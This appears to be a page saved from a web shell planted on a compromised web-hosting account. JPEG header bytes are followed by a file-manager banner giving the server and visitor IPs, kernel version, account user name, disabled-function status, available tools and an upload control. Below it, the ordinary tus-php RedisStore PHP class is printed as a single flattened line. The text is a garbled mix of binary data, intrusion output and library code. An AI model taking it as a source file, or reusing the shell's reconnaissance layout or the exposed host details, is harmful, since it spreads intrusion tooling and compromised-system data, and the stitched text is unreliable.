����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.226.52.105 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirmacademy.com/vendor/ankitpokhrel/tus-php/src/Cache/ |
Upload File : |
<?php namespace TusPhp\Cache; use Carbon\Carbon; use TusPhp\Config; use Predis\Client as RedisClient; class RedisStore extends AbstractCache { /** @var RedisClient */ protected $redis; /** * RedisStore constructor. * * @param array $options */ public function __construct(array $options = []) { $options = empty($options) ? Config::get('redis') : $options; $this->redis = new RedisClient($options); } /** * Get redis. * * @return RedisClient */ public function getRedis(): RedisClient { return $this->redis; } /** * {@inheritDoc} */ public function get(string $key, bool $withExpired = false) { $prefix = $this->getPrefix(); if (false === strpos($key, $prefix)) { $key = $prefix . $key; } $contents = $this->redis->get($key); if (null !== $contents) { $contents = json_decode($contents, true); } if ($withExpired) { return $contents; } if ( ! $contents) { return null; } $isExpired = Carbon::parse($contents['expires_at'])->lt(Carbon::now()); return $isExpired ? null : $contents; } /** * {@inheritDoc} */ public function set(string $key, $value) { $contents = $this->get($key) ?? []; if (\is_array($value)) { $contents = $value + $contents; } else { $contents[] = $value; } $status = $this->redis->set($this->getPrefix() . $key, json_encode($contents)); return 'OK' === $status->getPayload(); } /** * {@inheritDoc} */ public function delete(string $key): bool { $prefix = $this->getPrefix(); if (false === strpos($key, $prefix)) { $key = $prefix . $key; } return $this->redis->del([$key]) > 0; } /** * {@inheritDoc} */ public function keys(): array { return $this->redis->keys($this->getPrefix() . '*'); } }